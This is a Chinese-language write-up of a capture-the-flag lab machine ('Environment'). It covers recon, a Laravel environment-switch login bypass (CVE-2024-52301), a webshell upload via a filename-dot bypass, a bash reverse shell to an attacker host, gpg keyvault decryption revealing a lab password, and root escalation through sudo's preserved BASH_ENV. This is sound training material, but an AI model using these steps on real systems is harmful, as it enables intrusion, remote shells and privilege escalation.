
nmap -T4 -v -A -Pn 10.10.11.67 -oN environment.txt

environment.htb 域名
USER
port 80

扫描一下目录
ffuf -w dicc.txt -u "http://environment.htb/FUZZ" -c -fc 403

进入 login 查看

如果我们抓包查看,会发现 remember me 是通过 post 传值的,如果我们尝试 remember me 不传值,会发现页面直接变成报错, 爆出源码

Laravel preprod bypass
我们查看一下这个源码if(App::environment() == "preprod")
,如果是预生产环境,就登录user_id=1
的账户,然后跳转到/management/dashboard
后台仪表盘
if($keep_loggedin !== False) {
// TODO: Keep user logged in if he selects "Remember Me?"
}
if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
$request->session()->regenerate();
$request->session()->put('user_id', 1);
return redirect('/management/dashboard');
}
$user = User::where('email', $email)->first();
找到了这个漏洞
https://github.com/Nyamort/CVE-2024-52301
构造 poc 如下:?--env=preprod

成功进入后台

File upload
在/management/profile
发现可以上传头像,试试文件上传 webshell

文件名需要加点.
绕过才能成功上传,如下

可以访问到返回的 webshell 路径,命令 id 成功执行

换成反弹 shell 的命令,记得 url 编码一下bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'
本机监听,成功收到反弹

我们在/home/hish
可以找到 user.txt,可以直接查看

ROOT
gpg backup
在 hish 用户目录下还有一个 backup 文件,里面有一个 keyvault.gpg
文件
同时 hish 用户目录下有.gnupg
这个隐藏文件夹,一般被 gpg 用来存储配置文件,密钥环等文件
#copy .gnupg文件夹
cp -r .gnupg /tmp/gnupg
#查看是否有私钥文件
gpg --homedir gnupg --list-secret-keys

我们可以看见pubring.kbx
是,所以用来解密 keyvault.gpg
gpg --homedir /tmp/gnupg --decrypt /home/hish/backup/keyvault.gpg

成功拿到了各种密码,登录到 hish:marineSPm@ster!!

Environment variable injection
sudo -l
查看一下权限

env_keep+="ENV BASH_ENV"
表示可以在 sudo 执行命令的时候保持指定的环境变量
在 sudo 执行的时候通过BASH_ENV
变量指定脚本,会在 sudo 执行之前加载指定的脚本
#创建脚本并添加执行权限
echo 'bash -p' > shell.sh
chmod +x shell.sh

指定shell.sh
为变量来执行,就可以直接查看 root.txt 了
sudo BASH_ENV=/tmp/shell.sh /usr/bin/systeminfo


Comments | NOTHING